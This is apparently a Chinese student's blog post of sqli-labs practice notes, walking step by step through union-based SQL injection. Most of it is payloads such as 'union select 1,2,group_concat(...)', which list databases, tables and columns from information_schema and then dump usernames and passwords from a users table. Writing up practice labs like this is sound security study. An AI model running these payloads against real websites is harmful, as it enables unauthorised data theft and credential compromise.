sqli-labs学习

字数统计: 443字   |   阅读时长≈ 1分

id=1

UMJlp8.png

id=1’ and 1=’1

UMYT2T.png

id =1’ and 1=’2

UMYXZ9.png

id =1” and 1=”1

UMtpRK.png

id =1” and 1=”2

UMtPMD.png

id=1 and 1=1

UMtmJP.png

id=1 and 1=2

UMtYiq.png

综上为单引号注入

UMtNWV.png

UMtdQU.png

字段为3列

UMtcJx.png

查到库名（使用union时，必须前面的查找无结果所以使用-1）

UMtbfP.png

id=-1’ union select 1,database(),user() %23

1
user():   #返回当前数据库连接使用的用户
1
database(): #返回当前数据库连接使用的数据库
1
version():  #返回当前数据库的版本
1
@@datadir       #数据库路径

Cgz1e.png

所有的库名

1
/?id=-8'  UNION SELECT 1,2,group_concat(schema_name) from  information_schema.schemata --+

（1）SCHEMATA表:储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等，show databases的结果取之此表。

（2）TABLES表:储存mysql中的表信息，（当然也有数据库名这一列，这样才能找到哪个数据库有哪些表嘛）包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等。show tables from schemaname的结果取之此表。

（3）COLUMNS表：提供了表中的列信息，（当然也有数据库名和表名称这两列）详细表述了某张表的所有列以及每个列的信息，包括该列是那个表中的第几列，列的数据类型，列的编码类型，列的权限，猎德注释等。是show columns from schemaname.tablename的结果取之此表。

CgKpN.png

1
?id=-8'  union select 1,2,group_concat(table_name) from  information_schema.tables  where  table_schema=database() --+

查询出表名

CgWhj.png

1
?id=-8' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' users' --+

这里查到了id，username，password字段

CgZfn.png

1
?id=-8'  UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+
赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要涉及技术：
Java后端开发、网络安全、
服务器配置、JAVA安全的学习、Linux

联系QQ:1170516014

一个19级计科专业的小菜鸡